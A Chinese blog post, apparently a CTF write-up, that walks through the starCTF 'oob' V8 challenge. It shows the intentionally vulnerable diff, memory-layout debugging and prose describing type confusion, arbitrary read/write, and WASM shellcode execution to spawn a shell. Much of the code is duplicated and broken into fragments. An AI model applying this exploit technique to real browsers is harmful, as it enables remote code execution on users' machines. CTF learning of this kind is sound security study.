-
-
browser pwn入门(一)
-
发表于: 2023-12-13 10:12 11256
-
仍然是因为某些原因,需要学学浏览器pwn
depot_tools建议直接去gitlab里下,github上这个我用魔法都没下下来
下完之后执行
路径换成自己的就ok了
然后是ninja
没什么好说的,路径记得换成自己的
然后执行
拉个v8源码下来,gclient sync似乎自动执行了,我亲测是这样的反正
然后你可以选择先编译个最新版的v8出来试试(编译这玩意是有点子慢的)
也可以选择直接编译题目的版本,一般题目会给commitid,比如我一会要学的第一道题starctf 的 oob题目,commitid是6dc88c191f5ecc5389dc26efa3ca0907faef3598,那就先这样再这样再这样。
环境差不多就先这些,后面遇到了再补充
这个题我真的是服了,切到对应版本以后,里面的代码居然有的是python2语法有的是python3语法,换了半天也没编译出来,还好手里有编译好的release版本,属实无语住了。
然后咱们看diff
csdn的markdown不支持diff语法,真丑啊。
这两行告诉我们作者给array添加了一个函数叫oob
下面是oob的具体实现
获取参数的数量,然后根据参数个数进行不同的操作
如果参数数量大于2则直接抛出undefined
如果参数数量小于等于2,则先把array转成doublearray
然后判断如果无额外参数(第一个是this),则是read功能,返回array[length]
如果传入了一个参数,则是write功能,将value写入到doublearray[length]中
diff文件到这里就解释完了
接下来熟悉熟悉v8对象的内存布局
边写边记录,%DebugPrint可以打印对象的详细内存信息,%SystemBreak()可以下断点,用gdb调一下这段代码
调试的时候记得加上--allow-natives-syntax,这样才能用上面说的那两个调试函数。
![在这里插入图片描述](https://img- blog.csdnimg.cn/direct/cd7c14656e984f0aaed80ff34e7a7322.png)
这样就断下来了
由于这个题我没有debug版的d8可以用,所以debug_print的结果看不到了,也不能说看不到,不过信息非常少:
十分穷酸,只给我把a这个大小为4的JSArray的地址打印出来了
但是我依然可以使用一些命令来查看:
比如使用job命令查看对象,可以看到有几个数据类型:map,prototype,elements等
这里解释一下为什么这么多以1结尾的地址,因为v8会用把指针用最低比特置1的方式进行标记。
这些属性的含义如下:
从数据中也能看出来,当我们声明了一个对象的时候,真正的数据是存放在elements所指向的地址中的。还要注意一件事情,那就是elements的地址和对象本身的地址的关系:
对象本身的地址为0x2bb952fcde81
其对应的elements的地址为0x2bb952fcde51
elements的结构为:
由一个map地址和具体的数据组成,所以说当我们申请一个对象的时候,v8先申请了一个elements用于存放数据,然后紧接着又申请了一块内存用于存放对象本身的结构信息。
elements先说到这里,接下来说一说map的结构,以数组本身的map为例:
一个map里包含了一系列信息如:
对象的动态类型,即String,Uint8Array,HeapNumber等。
对象的大小(以字节为单位)
对象的属性及其存储位置
数组元素的类型,例如,unboxed的双精度数或带标记的指针
对象的原型(如果有)
map决定了如何访问一个对象,也标识了一个对象的类型。
再来看看properties的结构:
它的结构就相对来说简单很多,里面只有一个map和一个length,后面有用到再细说,先混个脸熟。
大致熟悉了一下v8里的一些比较重要的数据类型以及对象的结构,接下来回想一下diff,既然是作者自己给array添加的函数,那必然意味着存在漏洞,write的功能是把一个用户自定义的value写入到doublearray[length]的位置,但是众所周知数组下标是0~length-1,所以这里其实相当于发生了一个越界写,同样的read那里也存在着一个越界读。
刚才我们提到,当申请一个array的时候,程序是先申请elements,然后再申请对象结构,而对象结构是以一个map开头的,当我们修改数据的时候,实际上是在修改elements,如果我们越界修改了elements,刚好就会覆盖掉这个对象本身的map地址,所以相当于我们有了读取所申请对象的map地址以及任意修改此map地址的权限。这就是本题的漏洞所在。
写个代码测试一下是否真的能修改map的值
先来点辅助函数尝尝,因为无论是越界读还是越界写都是浮点数形式,所以需要辅助函数来帮助我们在整数和浮点数之间转换,方法就是开一块空间让整数和浮点数共用,然后转一下就行。
然后就翻车了,如图所示
可以看到之前我们用浮点数组尝试的时候,elements下面紧挨着的就是对象结构,也正是这点能够让我们越界一个下标读写就能读写到本对象的map信息,但是这里情况有变?假定v8对于对象的内存分配方式不变,那么elements是不是有点太大了,如果是这种情况那么我们越界一个下标读写就读写不到本对象的map了。参考的几篇文章似乎也没有在这里提到这个问题,可能因为他们没有像我一样傻到用全是整数的数组进行测试吧。
经过查询发现,原来都是整数的数组和包含了浮点数的数组是两种类型的数据,从map信息就能够看出来
v8都有哪些数组类型可以看这个图
注意这里的速度由上至下是越来越慢的,并且降级是不可逆的
不管怎么样这个整数array的大小总归是不太对劲的,于是用tele查看一下内存
发现了奇怪的东西,前面几个数据都是很熟悉的elements的map,length以及data,为什么data后面又接了个FixedArray类型的map,难道下面其实另有一块结构,job一下看看
看完一整个呆住,这怎么还有我js程序的源码啊,好好好
总之申请一个PACKED_SMI_ELEMENTS的时候这结构肯定是多东西了,至于为什么会多就不是我一个初学者要去探究的了,等多了解了解v8内存申请规则可能就明白了吧。
回到这道题目,想要完成上述操作,大家还请记得申请带浮点数的数组hhhh
代码换成这样,再来试试能不能读取到map
这次就比较成功的读取到map了
再来试试对象数组
可以看到对象数组的结构也是elements和map紧邻着的
既然能够修改map,而v8在解析对象的时候又依赖于map,那么我们来尝试进行一下类型混淆。
之前想将map修改为0x6161616161616161,但是走到下一个断点之前就会段错误,所以还是老老实实的合理进行类型混淆吧
浮点数组存储的是具体的浮点数值,对象数组存储的是每一个对象的地址,在使用的时候我们是无法获取到对象数组里的对象地址用作计算的,但是通过类型混淆可以做到。如果定义了一个对象数组,然后把数组的map改成浮点数组的map,此时对于任何一个放入对象数组的对象,都可以直接通过索引获取到具体的地址值。
顺理成章的我们也就写出了addressof函数,实现了获取任意对象的内存地址功能
首先搞个float array和obj array出来,分别获取他俩的map,然后对于某个我们想获取地址的对象,只需要先放进obj array里,然后修改obj array的map为float map,直接读取obj array,就可以把地址当做一个浮点数直接leak出来了,可以看到我们通过类型混淆自己泄露出来的地址和debugprint出来的地址是一样的。
有了任意对象的地址泄露,接下来就想想是否可以伪造一个object,和地址泄露逻辑相反,如果我们写好一个浮点数组,保证里面(elements)是一个完整的对象结构,通过addressof函数获取浮点数组的地址,再利用elements和对象结构偏移可计算的特点获取到elements的地址,填到之前申请的全局变量float array中,然后修改float array的map为obj map,再通过索引将其取出,此时就把原来的数据完全可控的elements伪造成了一个object。
按照上述思路写出fakeobject函数
伪造对象的能力,回归到漏洞利用上来,肯定还是要关注任意地址读写这件事,我们知道一个数组的读写,当其他字段都没有被破坏的情况下,其实就是在操作elements里的元素,所以我们只需要在伪造对象的时候,将elements指针指向想要进行读写的address,理论上来讲就可以实现任意地址的读写。
理论可行,实践一下,首先观察结构
obj的地址距离elements的头部是(8数据个数+0x10),elements存储的结构是map,length,data,所以实际数据的位置应该是obj地址-8n
先按照格式在float array中伪造一个float obj出来
上面我们伪造的是一个无原型的float array
然后获取fake obj,构造read64函数并进行验证
通过构建好的read64函数,尝试获取target的map值
非常完美的获取到了target对象的map值,至此获得了任意地址读功能,接下来的任意地址写功能思路相同,直接构建就好
但是这种方式进行任意地址写会存在一些问题在写0x7fxxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。因为write64写原语使用的是FloatArray的写入操作,而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0
解决:DataView对象中的backing_store会指向申请的data_buf(backing_store相当于我们的elements),修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。
一种改进任意地址写的方法,是不涉及漏洞思路但是值得收藏的工具类代码
有了任意地址读写,接下来就要考虑最终目标get shell了
get shell的方式有两种,既可以控制free_hook为system,执行system("/bin/sh"),也可以直接用wasm执行shellcode
首先是控制free_hook的方式:
首先肯定是泄露libc的地址,先来看看栈空间里都有些什么:
在我们申请的临时变量上方是有代码段地址的,把这种0x55或者0x56开头的地址泄露出来,然后减去偏移就可以计算出代码基地址,从而得到got表地址,最后达到泄露libc的目的。
利用类似这种方式从当前变量栈地址开始向上搜索。
但是这种泄露libc的方式不是很稳定,如果栈上方真的就没有什么稳定的d8代码段地址,我们就需要另一种能够稳定获得d8地址就方法,再回到数组的结构中:
在gdb中查看这样一条链子,array->map->constructor->code
可以看到在code中存在一些代码,这里可能还不太直观,直接用tele查看内存看看
对于这样的汇编代码movabs r10, 0x560416ad2aa0
这个立即数看起来是不是非常像代码段的地址,没错它就是,也就是说通过一次次固定偏移的读操作,就可以稳定获取到一个代码段的地址,来试试看!
可以看到已经成功泄露出d8base了,并且非常稳定,接下来的事情就非常好做了,只需要修改free_hook为system然后new一个字符串/bin/sh\x00,在字符串销毁的时候就会触发free。
不过现在我的虚拟机用的是ubuntu22,所以
其实free_hook控制程序执行流的方法已经走不通了,为了验证我们是否成功修改了free_hook,只能是用gdb看一看了,getshell在我现在这个版本的libc上已经不行了。
接下来是第二种getshell的方法,即直接执行shellcode
运行shellcode的方式是wasm
wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。
步骤:
1、 首先写一段wasm代码到内存中;
2、 然后通过addressOf找到存放的wasm的内存地址
3、 接着通过任意地址写原语用shellcode替换原本wasm的代码内容;
4、 最后调用wasm 的函数接口即可触发调用shellcode
通过Function -> shared_info -> WasmExportedFunctionData -> instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页地址起始地址
起始地址的读取和上面我们稳定获取d8base的方式基本相同,通过链子不断深入,这里直接封装成函数:
获取到了rwx的地址,然后用之前的任意地址写直接将getshell的shellcode写进去,最后执行wasm函数就ok了
最后的效果,成功执行了execve("/bin/sh")
入门一到此结束了捏
echo
'export PATH=$PATH:"/root/depot_tools"'
>> ~/.bashrc
echo
'export PATH=$PATH:"/root/depot_tools"'
>> ~/.bashrc
git clone https:
//github
.com
/ninja-build/ninja
.git
cd
ninja && .
/configure
.py --bootstrap &&
cd
..
echo
'export PATH=$PATH:"/root/ninja"'
>> ~/.bashr
git clone https:
//github
.com
/ninja-build/ninja
.git
cd
ninja && .
/configure
.py --bootstrap &&
cd
..
echo
'export PATH=$PATH:"/root/ninja"'
>> ~/.bashr
fetch v8
cd v8
fetch v8
cd v8
tools
/dev/v8gen
.py x64.debug
ninja -C out.gn
/x64
.debug
tools
/dev/v8gen
.py x64.release
ninja -C .
/out
.gn
/x64
.release
tools
/dev/v8gen
.py x64.debug
ninja -C out.gn
/x64
.debug
tools
/dev/v8gen
.py x64.release
ninja -C .
/out
.gn
/x64
.release
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.
diff
# 编译debug版本
tools
/dev/v8gen
.py x64.debug
ninja -C out.gn
/x64
.debug d8
# 编译release版本
tools
/dev/v8gen
.py x64.release
ninja -C out.gn
/x64
.release d8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.
diff
# 编译debug版本
tools
/dev/v8gen
.py x64.debug
ninja -C out.gn
/x64
.debug d8
# 编译release版本
tools
/dev/v8gen
.py x64.release
ninja -C out.gn
/x64
.release d8
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
+
SimpleInstallFunction(isolate_, proto,
"oob"
,
+
Builtins::kArrayOob,
2
,false);
+
SimpleInstallFunction(isolate_, proto,
"oob"
,
+
Builtins::kArrayOob,
2
,false);
+
BUILTIN(ArrayOob){
+
uint32_t
len
=
args.length();
+
if
(
len
>
2
)
return
ReadOnlyRoots(isolate).undefined_value();
+
Handle<JSReceiver> receiver;
+
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+
isolate, receiver,
Object
::ToObject(isolate, args.receiver()));
+
Handle<JSArray> array
=
Handle<JSArray>::cast(receiver);
+
FixedDoubleArray elements
=
FixedDoubleArray::cast(array
-
>elements());
+
uint32_t length
=
static_cast<uint32_t>(array
-
>length()
-
>Number());
+
if
(
len
=
=
1
){
+
/
/
read
+
return
*
(isolate
-
>factory()
-
>NewNumber(elements.get_scalar(length)));
+
}
else
{
+
/
/
write
+
Handle<
Object
> value;
+
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+
isolate, value,
Object
::ToNumber(isolate, args.at<
Object
>(
1
)));
+
elements.
set
(length,value
-
>Number());
+
return
ReadOnlyRoots(isolate).undefined_value();
+
}
+
}
+
BUILTIN(ArrayOob){
+
uint32_t
len
=
args.length();
+
if
(
len
>
2
)
return
ReadOnlyRoots(isolate).undefined_value();
+
Handle<JSReceiver> receiver;
+
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+
isolate, receiver,
Object
::ToObject(isolate, args.receiver()));
+
Handle<JSArray> array
=
Handle<JSArray>::cast(receiver);
+
FixedDoubleArray elements
=
FixedDoubleArray::cast(array
-
>elements());
+
uint32_t length
=
static_cast<uint32_t>(array
-
>length()
-
>Number());
+
if
(
len
=
=
1
){
+
/
/
read
+
return
*
(isolate
-
>factory()
-
>NewNumber(elements.get_scalar(length)));
+
}
else
{
+
/
/
write
+
Handle<
Object
> value;
+
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+
isolate, value,
Object
::ToNumber(isolate, args.at<
Object
>(
1
)));
+
elements.
set
(length,value
-
>Number());
+
return
ReadOnlyRoots(isolate).undefined_value();
+
}
+
}
var
a = [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var
b = [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var
c = [a, b]
%DebugPrint(c);
%SystemBreak();
var
a = [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var
b = [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var
c = [a, b]
%DebugPrint(c);
%SystemBreak();
gdb .
/
d8
set
args
-
-
allow
-
natives
-
syntax .
/
test.js
gdb .
/
d8
set
args
-
-
allow
-
natives
-
syntax .
/
test.js
pwndbg> job
0x2bb952fcde81
0x2bb952fcde81
: [JSArray]
-
map
:
0x025e82cc2ed9
<
Map
(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
-
prototype:
0x1e15429d1111
<JSArray[
0
]>
-
elements:
0x2bb952fcde51
<FixedDoubleArray[
4
]> [PACKED_DOUBLE_ELEMENTS]
-
length:
4
-
properties:
0x291530640c71
<FixedArray[
0
]> {
#length: 0x145325ac01a9 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x2bb952fcde51
<FixedDoubleArray[
4
]> {
0
:
1.1
1
:
2.2
2
:
3.3
3
:
4
}
pwndbg> job
0x2bb952fcde81
0x2bb952fcde81
: [JSArray]
-
map
:
0x025e82cc2ed9
<
Map
(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
-
prototype:
0x1e15429d1111
<JSArray[
0
]>
-
elements:
0x2bb952fcde51
<FixedDoubleArray[
4
]> [PACKED_DOUBLE_ELEMENTS]
-
length:
4
-
properties:
0x291530640c71
<FixedArray[
0
]> {
#length: 0x145325ac01a9 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x2bb952fcde51
<FixedDoubleArray[
4
]> {
0
:
1.1
1
:
2.2
2
:
3.3
3
:
4
}
map
:定义了如何访问对象
prototype:对象的原型(如果有)
elements:对象的地址
length:长度
properties:属性,存有
map
和length
map
:定义了如何访问对象
prototype:对象的原型(如果有)
elements:对象的地址
length:长度
properties:属性,存有
map
和length
pwndbg> job
0x2bb952fcde51
0x2bb952fcde51
: [FixedDoubleArray]
-
map
:
0x2915306414f9
<
Map
>
-
length:
4
0
:
1.1
1
:
2.2
2
:
3.3
3
:
4
pwndbg> job
0x2bb952fcde51
0x2bb952fcde51
: [FixedDoubleArray]
-
map
:
0x2915306414f9
<
Map
>
-
length:
4
0
:
1.1
1
:
2.2
2
:
3.3
3
:
4
pwndbg> job
0x025e82cc2ed9
0x25e82cc2ed9
: [
Map
]
-
type
: JS_ARRAY_TYPE
-
instance size:
32
-
inobject properties:
0
-
elements kind: PACKED_DOUBLE_ELEMENTS
-
unused
property
fields:
0
-
enum length: invalid
-
back pointer:
0x025e82cc2e89
<
Map
(HOLEY_SMI_ELEMENTS)>
-
prototype_validity cell:
0x145325ac0609
<Cell value
=
1
>
-
instance descriptors
#1: 0x1e15429d1f49 <DescriptorArray[1]>
-
layout descriptor: (nil)
-
transitions
#1: 0x1e15429d1eb9 <TransitionArray[4]>Transition array #1:
0x291530644ba1
<Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS)
-
>
0x025e82cc2f29
<
Map
(HOLEY_DOUBLE_ELEMENTS)>
-
prototype:
0x1e15429d1111
<JSArray[
0
]>
-
constructor:
0x1e15429d0ec1
<JSFunction Array (sfi
=
0x145325ac6791
)>
-
dependent code:
0x2915306402c1
<Other heap
object
(WEAK_FIXED_ARRAY_TYPE)>
-
construction counter:
0
pwndbg> job
0x025e82cc2ed9
0x25e82cc2ed9
: [
Map
]
-
type
: JS_ARRAY_TYPE
-
instance size:
32
-
inobject properties:
0
-
elements kind: PACKED_DOUBLE_ELEMENTS
-
unused
property
fields:
0
-
enum length: invalid
-
back pointer:
0x025e82cc2e89
<
Map
(HOLEY_SMI_ELEMENTS)>
-
prototype_validity cell:
0x145325ac0609
<Cell value
=
1
>
-
instance descriptors
#1: 0x1e15429d1f49 <DescriptorArray[1]>
-
layout descriptor: (nil)
-
transitions
#1: 0x1e15429d1eb9 <TransitionArray[4]>Transition array #1:
0x291530644ba1
<Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS)
-
>
0x025e82cc2f29
<
Map
(HOLEY_DOUBLE_ELEMENTS)>
-
prototype:
0x1e15429d1111
<JSArray[
0
]>
-
constructor:
0x1e15429d0ec1
<JSFunction Array (sfi
=
0x145325ac6791
)>
-
dependent code:
0x2915306402c1
<Other heap
object
(WEAK_FIXED_ARRAY_TYPE)>
-
construction counter:
0
pwndbg> job
0x291530640c71
0x291530640c71
: [FixedArray]
-
map
:
0x291530640801
<
Map
>
-
length:
0
pwndbg> job
0x291530640c71
0x291530640c71
: [FixedArray]
-
map
:
0x291530640801
<
Map
>
-
length:
0
var buf
=
new ArrayBuffer(
16
);
var float64
=
new Float64Array(buf);
var bigUint64
=
new BigUint64Array(buf);
/
/
function f2i(f)
{
float64[
0
]
=
f;
return
bigUint64[
0
];
}
/
/
function i2f(i)
{
bigUint64[
0
]
=
i;
return
float64[
0
];
}
/
/
function
hex
(i)
{
return
i.toString(
16
).padStart(
16
,
"0"
);
}
var a
=
[
1
,
2
,
3
,
4
]
var map_addr
=
f2i(a.oob())
console.log(
"[*] oob return data: "
+
hex
(map_addr));
a.oob(i2f(
0x6161616161616161n
));
%
DebugPrint(a);
%
SystemBreak();
var buf
=
new ArrayBuffer(
16
);
var float64
=
new Float64Array(buf);
var bigUint64
=
new BigUint64Array(buf);
/
/
function f2i(f)
{
float64[
0
]
=
f;
return
bigUint64[
0
];
}
/
/
function i2f(i)
{
bigUint64[
0
]
=
i;
return
float64[
0
];
}
/
/
function
hex
(i)
{
return
i.toString(
16
).padStart(
16
,
"0"
);
}
var a
=
[
1
,
2
,
3
,
4
]
var map_addr
=
f2i(a.oob())
console.log(
"[*] oob return data: "
+
hex
(map_addr));
a.oob(i2f(
0x6161616161616161n
));
%
DebugPrint(a);
%
SystemBreak();
const array
=
[
1
,
2
,
3
];
/
/
elements 类型: PACKED_SMI_ELEMENTS
array.push(
4.56
);
/
/
elements 类型: PACKED_DOUBLE_ELEMENTS
array.push(
'x'
);
/
/
elements 类型: PACKED_ELEMENTS
const array
=
[
1
,
2
,
3
];
/
/
elements 类型: PACKED_SMI_ELEMENTS
array.push(
4.56
);
/
/
elements 类型: PACKED_DOUBLE_ELEMENTS
array.push(
'x'
);
/
/
elements 类型: PACKED_ELEMENTS
pwndbg> job
0xda69c08dee9
0xda69c08dee9
: [FixedArray]
-
map
:
0x390f81b80851
<
Map
>
-
length:
4
0
:
0x2584ea1c3b29
<SharedFunctionInfo>
1
:
0x0da69c08d029
<String[
474
]\: var buf
=
new ArrayBuffer(
16
);\nvar float64
=
new Float64Array(buf);\nvar bigUint64
=
new BigUint64Array(buf);\n
/
/
\nfunction f2i(f)\n{\n float64[
0
]
=
f;\n
return
bigUint64[
0
];\n}\n
/
/
\nfunction i2f(i)\n{\n bigUint64[
0
]
=
i;\n
return
float64[
0
];\n}\n
/
/
\nfunction
hex
(i)\n{\n
return
i.toString(
16
).padStart(
16
,
"0"
);\n}\n\nvar a
=
[
1
,
2
,
3
,
4
]\nvar map_addr
=
f2i(a.oob())\nconsole.log(
"[*] oob return data: "
+
hex
(map_addr));\n
/
/
a.oob(i2f(
0x6161616161616161n
));\n
%
DebugPrint(a);\n
%
SystemBreak();>
2
:
0
3
:
-
1
pwndbg> job
0xda69c08dee9
0xda69c08dee9
: [FixedArray]
-
map
:
0x390f81b80851
<
Map
>
-
length:
4
0
:
0x2584ea1c3b29
<SharedFunctionInfo>
1
:
0x0da69c08d029
<String[
474
]\: var buf
=
new ArrayBuffer(
16
);\nvar float64
=
new Float64Array(buf);\nvar bigUint64
=
new BigUint64Array(buf);\n
/
/
\nfunction f2i(f)\n{\n float64[
0
]
=
f;\n
return
bigUint64[
0
];\n}\n
/
/
\nfunction i2f(i)\n{\n bigUint64[
0
]
=
i;\n
return
float64[
0
];\n}\n
/
/
\nfunction
hex
(i)\n{\n
return
i.toString(
16
).padStart(
16
,
"0"
);\n}\n\nvar a
=
[
1
,
2
,
3
,
4
]\nvar map_addr
=
f2i(a.oob())\nconsole.log(
"[*] oob return data: "
+
hex
(map_addr));\n
/
/
a.oob(i2f(
0x6161616161616161n
));\n
%
DebugPrint(a);\n
%
SystemBreak();>
2
:
0
3
:
-
1
var
a=[1.1,2,3,4]
var
map_addr=f2i(a.oob())
console.log(
"[*] oob return data: "
+hex(map_addr));
%DebugPrint(a);
%SystemBreak();
var
a=[1.1,2,3,4]
var
map_addr=f2i(a.oob())
console.log(
"[*] oob return data: "
+hex(map_addr));
%DebugPrint(a);
%SystemBreak();
pwndbg> job
0x03cc43b0e0b1
0x3cc43b0e0b1
: [JSArray]
-
map
:
0x247041f42ed9
<
Map
(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
-
prototype:
0x2e4730811111
<JSArray[
0
]>
-
elements:
0x03cc43b0e081
<FixedDoubleArray[
4
]> [PACKED_DOUBLE_ELEMENTS]
-
length:
4
-
properties:
0x15bfe08c0c71
<FixedArray[
0
]> {
#length: 0x29e3aa0001a9 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x03cc43b0e081
<FixedDoubleArray[
4
]> {
0
:
1.1
1
:
2
2
:
3
3
:
4
}
pwndbg> job
0x03cc43b0e0b1
0x3cc43b0e0b1
: [JSArray]
-
map
:
0x247041f42ed9
<
Map
(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
-
prototype:
0x2e4730811111
<JSArray[
0
]>
-
elements:
0x03cc43b0e081
<FixedDoubleArray[
4
]> [PACKED_DOUBLE_ELEMENTS]
-
length:
4
-
properties:
0x15bfe08c0c71
<FixedArray[
0
]> {
#length: 0x29e3aa0001a9 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x03cc43b0e081
<FixedDoubleArray[
4
]> {
0
:
1.1
1
:
2
2
:
3
3
:
4
}
var
a=[1.1,2,3,4]
var
b={
"x"
:1}
var
c=[a,b]
var
map_addr=f2i(a.oob())
console.log(
"[*] oob return data: "
+hex(map_addr));
%DebugPrint(c);
%SystemBreak();
var
a=[1.1,2,3,4]
var
b={
"x"
:1}
var
c=[a,b]
var
map_addr=f2i(a.oob())
console.log(
"[*] oob return data: "
+hex(map_addr));
%DebugPrint(c);
%SystemBreak();
pwndbg> job
0x217d8930e9b1
0x217d8930e9b1
: [JSArray]
-
map
:
0x230184202f79
<
Map
(PACKED_ELEMENTS)> [FastProperties]
-
prototype:
0x0003238d1111
<JSArray[
0
]>
-
elements:
0x217d8930e991
<FixedArray[
2
]> [PACKED_ELEMENTS]
-
length:
2
-
properties:
0x1aa8b4cc0c71
<FixedArray[
0
]> {
#length: 0x347bb83401a9 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x217d8930e991
<FixedArray[
2
]> {
0
:
0x217d8930e921
<JSArray[
4
]>
1
:
0x217d8930e941
<
Object
map
=
0x23018420ab39
>
}
pwndbg> job
0x217d8930e9b1
0x217d8930e9b1
: [JSArray]
-
map
:
0x230184202f79
<
Map
